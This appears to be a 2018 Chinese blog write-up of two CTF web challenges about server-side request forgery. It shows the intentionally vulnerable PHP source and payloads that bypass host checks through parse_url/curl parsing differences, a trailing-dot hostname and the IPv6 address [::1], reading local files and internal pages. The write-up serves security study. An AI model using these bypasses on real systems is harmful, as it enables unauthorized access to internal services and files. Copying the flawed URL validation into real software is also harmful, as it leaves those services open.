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ssrf绕过记录

第一道题来自2018 上海市大学生网络安全大赛线上赛web01

if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.baidu.com')
{
    var_dump(parse_url($_POST['url'])['host']);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $_POST['url']);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($curl);
    echo $content;
    curl_close($curl);
    $filename='download/'.rand().';img1.jpg';
    file_put_contents($filename,$content);
    echo $_POST['url'];
    $img="<img src=\"".$filename."\"/>";
    echo $img;
}
else
{
    echo "you need post url: http://www.ichunqiu.com";
}

对协议没有限制,可以用file协议

payload:

url=file://@127.0.0.1:80@www.ichunqiu.com/./..//var/www/html/flag.php

parse_url 取出的Host是www.ichunqiu.com绕过了if判断

curl解析的时候host则是127.0.0.1,通过file协议读取flag

另一道题与这个类似,只不过通过http协议读取flag

index.php

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result){
        die('url fomat error1');
    }
    try{
        $url_parse=parse_url($url);
        // var_dump($url);
    }
    catch(Exception $e){
        die('url fomat error2');
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}

function safe_request_url($url)
{
    if (check_inner_ip($url)){
        echo $url.' is inner ip';
    }
    else{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url']){
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}

$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}
else{
    highlight_file(__file__);
}
//flag in flag.php 

?>

flag.php

<?php
if (! function_exists('real_ip') ) {
    function real_ip()
    {
        $ip = $_SERVER['REMOTE_ADDR'];
        if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
            foreach ($matches[0] AS $xip) {
                if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                    $ip = $xip;
                    break;
                }
            }
        } elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
            $ip = $_SERVER['HTTP_X_REAL_IP'];
        }
        return $ip;
    }
}
$rip = real_ip();
if($rip === "127.0.0.1")
    die("HRCTF{SSRF_can_give_you_flag}");
else
    die("You IP is {$rip} not 127.0.0.1");
?>

payload1:http://121.195.170.191/ctf/day16/index.php?url=http://@127.0.0.1:80@www.freebuf.com/ctf/day16/flag.php

payload2:http://121.195.170.191/ctf/day16/index.php?url=http://127.0.0.1./ctf/day16/flag.php 

ip2long('0.0.0.0')>>24 == $int_ip>>24;也得注释掉,127.0.0.1.gethostbyname解析不了,$int_ip为false,真好和ip2long('0.0.0.0')得到的结果相同了。

 

paload3:通过ipv6绕过,http://[::1]/

gethostbyname不能解析ipv6地址,$int_ip为false。ip2long('0.0.0.0')>>24 == $int_ip>>24;注释掉这个语句就能绕过检查。

    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    var_dump($ip); //[::1]
    $int_ip=ip2long($ip);
    var_dump($int_ip); //返回false
    // var_dump($int_ip);
    // var_dump(ip2long('0.0.0.0'));
    // return 0;
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 ;//|| ip2long('0.0.0.0')>>24 == $int_ip>>24;

 

参考链接:

http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/

https://xz.aliyun.com/t/3178#toc-0

https://xz.aliyun.com/t/3150

 

 

posted @ 2018-11-08 12:30 afanti~ 阅读(...) 评论(...) 编辑 收藏